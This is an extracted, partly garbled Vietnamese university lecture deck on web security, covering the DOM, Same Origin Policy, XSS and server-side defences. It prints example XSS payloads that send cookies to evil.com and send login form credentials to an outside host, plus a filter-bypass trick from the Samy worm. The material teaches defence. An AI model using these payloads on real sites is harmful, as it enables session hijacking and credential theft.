an ninh mạng,bùi trọng tùng,dhbkhn 1 BÀI 7 AN TOÀN DỊCH VỤ WEB XSS & CSRF Bùi Trọng Tùng, Viện Công nghệ thông tin và Truyền thông, Đại học Bách khoa Hà Nội 1 Nội dung • Xử lý trang web tại trình duyệ[.]
BÀI AN TOÀN DỊCH VỤ WEB XSS & CSRF Bùi Trọng Tùng, Viện Công nghệ thông tin Truyền thông, Đại học Bách khoa Hà Nội Nội dung • Xử lý trang web trình duyệt • XSS • CSRF CuuDuongThanCong.com https://fb.com/tailieudientucntt 1 XỬ LÝ TẠI TRÌNH DUYỆT Bùi Trọng Tùng, Viện Cơng nghệ thơng tin Truyền thông, Đại học Bách khoa Hà Nội Tương tác trình duyệt Web-Web server HTTP Request(GET, POST, HEAD, PUT…) HTTP Response(HTML Page, JS file, CSS file, image, ) Hiển thị Database Queries CuuDuongThanCong.com https://fb.com/tailieudientucntt Hiển trị (rendering) nội dung trang web • Mơ hình xử lý trình duyệt: cửa sổ frame: Nhận thông điệp HTTP Response Hiển thị: Xử lý mã HTML, CSS, Javascripts Gửi thông điệp HTTP Request yêu cầu đối tượng khác(nếu có) Bắt xử lý kiện • Các kiện xảy ra: Sự kiện người dùng: OnClick, OnMouseOver… Sự kiện hiển thị: OnLoad, OnBeforeUnload… Theo thời gian: setTimeout(), clearTimeout()… Ví dụ My First Web PageMy first paragraph.
Try it CuuDuongThanCong.com https://fb.com/tailieudientucntt Document Object Model(DOM) • Tổ chức đối tượng trang HTML thành cấu trúc • Cung cấp API (hướng đối tượng)để tương tác • Ví dụ: Thuộc tính: document.alinkColor, document.URL, document.forms[ ], document.links[ ]… Phương thức: document.write()… • Bao gồm đối tượng trình duyệt(Browser Object Model - BOM): window, document, frames[], history, location… DOM – Ví dụ Example Alice document head title body a Alice CuuDuongThanCong.com https://fb.com/tailieudientucntt DOM – Ví dụ khác flip = 0; function flipText() { var x = document.getElementById('myid').firstChild; if(flip == 0) { x.nodeValue = 'Bob'; flip = 1;} else { x.nodeValue = 'Alice'; flip = 0; } } document Alice script flipText a Alice Javascript • Ngơn ngữ cho phép xây dựng script để trình duyệt thực thi • Được nhúng vào trang web mà server trả cho client • Thường sử dụng để tương tác với DOM • Khả tương tác mạnh: Thay đổi nội dung trang web Theo dõi kiện trang web (bao gồm hành vi người dùng: rê chuột, nhấp chuột, gõ phím) Đọc, thiết lập cookie Sinh HTTP Request khác đọc HTTP Response trả 10 CuuDuongThanCong.com https://fb.com/tailieudientucntt Chính sách nguồn(SOP) • Same Origin Policy • Chính sách sử dụng trình duyệt Web • Nguồn = Giao thức + Hostname + Cổng ứng dụng • Chính sách SOP: Trang web nguồn không phép đọc, thay đổi nội dung trang web nguồn khác cách ly trang web khác nguồn A B A A B 11 SOP – Ví dụ Kiểm tra khả truy cập từ http://www.example.com/dir/page.html Compared URL Outcome httpː//www.example.com/dir/page2.html Success httpː//www.example.com/dir2/other.html Success httpː//username:password@www.example.com/dir2/other.html Success httpː//www.example.com:81/dir/other.html Failure https://www.example.com/dir/other.html Failure http://en.example.com/dir/other.html Failure http://example.com/dir/other.html Failure http://v2.www.example.com/dir/other.html Failure httpː//www.example.com:80/dir/other.html Depends CuuDuongThanCong.com https://fb.com/tailieudientucntt 12 TẤN CÔNG DẠNG CROSS SITE SCRIPTING (XSS) Bùi Trọng Tùng, Viện Công nghệ thông tin Truyền thông, Đại học Bách khoa Hà Nội 13 Tấn công XSS (Cross Site Scripting) • Lỗ hổng XSS: ứng dụng web khơng kiểm sốt có mặt mã thực thi giá trị tham số đầu vào và/hoặc kết trả thơng điệp HTTP Response • Tấn cơng XSS: lợi dụng lỗ hổng XSS để ẩn giấu mã độc thông điệp HTTP Request lừa ứng dụng web trả thông điệp HTTP Response chứa mã độc • Hậu quả: trình duyệt người dùng thơng thường thực thi mã độc nằm thông điệp HTTP Response nhận từ web server • Có thể thực tương tự dịch vụ email, trình đọc file PDF • Các phương phép chèn mã thực thi: Reflected XSS Stored XSS DOM-based XSS 14 CuuDuongThanCong.com https://fb.com/tailieudientucntt Tấn công Reflected XSS Attack Server Victim Server (5) Trình duyệt thực thi mã độc evil.com Victim Server victim.com 15 Tấn cơng Reflected XSS - Ví dụ • Giả sử website mục tiêu cung cấp tính tìm kiếm http://victim.com/search.php?term= • Đoạn mã thực thi server sau: Search Results Results for : 16 CuuDuongThanCong.com https://fb.com/tailieudientucntt Tấn công Reflected XSS - Ví dụ (tiếp) • Người dùng tải trang web từ server kẻ công chưa đường dẫn sau http://victim.com/search.php?term= document.location=‘http://evil.com/’+ document.cookie) • Điều xảy người dùng nhấp vào đường dẫn trên? 17 http://www.victim.com/search.php? term=%3Cscript%3Edocument.location=‘evil com/’ +document.cookie;%3C/script%3E “Check out this link!” Session token người dùng victim.com evil.com/f9geiv33knv141 evil.com HTTP Response chứa mã thực thi truyền qua giá trị đầu vào http://www.victi m.com/search.ph p? term=%3Cscript %3Edocument.loc ation=‘evil.com/’ +document.cookie ;%3C/script%3E victim.com 18 CuuDuongThanCong.com https://fb.com/tailieudientucntt Tấn công Stored XSS Attack Browser/Server evil.com (1)Chèn mã độc vào CSDL mục tiêu (4)Trình duyệt thực thi mã độc bank.com 19 evil.com Session token người dùng victim.com evil.com/f9geiv33knv141 Posts comment with text: document.location = “evil.com/” + document.cookie Comment with text: document.location = “evil.com/” + document.cookie victim.com 20 CuuDuongThanCong.com https://fb.com/tailieudientucntt 10 Tấn cơng Stored XSS – Ví dụ • Tấn cơng vào myspace.com năm 2007 để phát tán sâu Samy • Myspace cho phép người dùng đăng dạng mã HTML: Kiểm sốt, khơng cho phép nhúng Javascript vào thẻ , , onclick, Nhưng khơng kiểm sốt việc nhúng vào thẻ CSS: Hoặc ẩn từ khóa “javascript” thành “java\nscript” • Khi sâu Samy thực thi, tài khoản người dùng tự động kết bạn với tài khoản có tên Samy Trong 24 giờ, Samy có hàng triệu bạn bè 21 Tấn cơng DOM-based XSS • Lỗ hổng: trình duyệt phép thực thi script nhúng đối tượng DOM trang web hiển thị • Không thể phát server 22 CuuDuongThanCong.com https://fb.com/tailieudientucntt 11 DOM-based XSS - Ví dụ • Trang có lỗ hổng Welcome! Hi var pos = document.URL.indexOf("name=") + 5; document.write(document.URL.substring(pos,document.URL.l ength)); • u cầu thơng thường http://www.example.com/welcome.html?name=Joe • Nhúng mã thực thi http://www.example.com/welcome.html?name= alert(document.cookie) 23 Phòng chống cơng XSS phía server • Open Web Application Security Project (OWASP) • Kiểm tra cẩn thận HTTP header, cookie, truy vấn, • • • • trường ẩn Khơng nên cố gắng nhận dạng, loại trừ, lọc đối tượng chủ động (active content) Nên sử dụng sách dạng “positive” liệt kê đối tượng, hành vi phép, thay sách dạng “negative” Kiểm tra giá trị đầu vào client cung cấp Từ chối/sử dụng mã cho ký tự đặc biệt với chuỗi đầu Ví dụ dùng < cho ‘’, " cho “ 24 CuuDuongThanCong.com https://fb.com/tailieudientucntt 12 Chú ý: Mã Javascript chèn vào nhiều vị trí khác trang web • Sử dụng mã Javascript URI • Chèn mã Javascript vào thuộc tính phương thức xử lý kiện (OnSubmit, OnError, OnLoad, …) • Một số ví dụ: action="logon.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.digicrime.com/'+document.for ms(1).login.value'+':'+ document.forms(1).password.value;" 25 Phịng chống XSS phía server • Sử dụng lọc chuỗi giá trị đầu để loại ký tự nhạy cảm: Hãy cẩn thận với mẹo vượt qua lọc Hãy lọc nhiều lần loại hết từ khóa Ví dụ: lọc lần chuỗi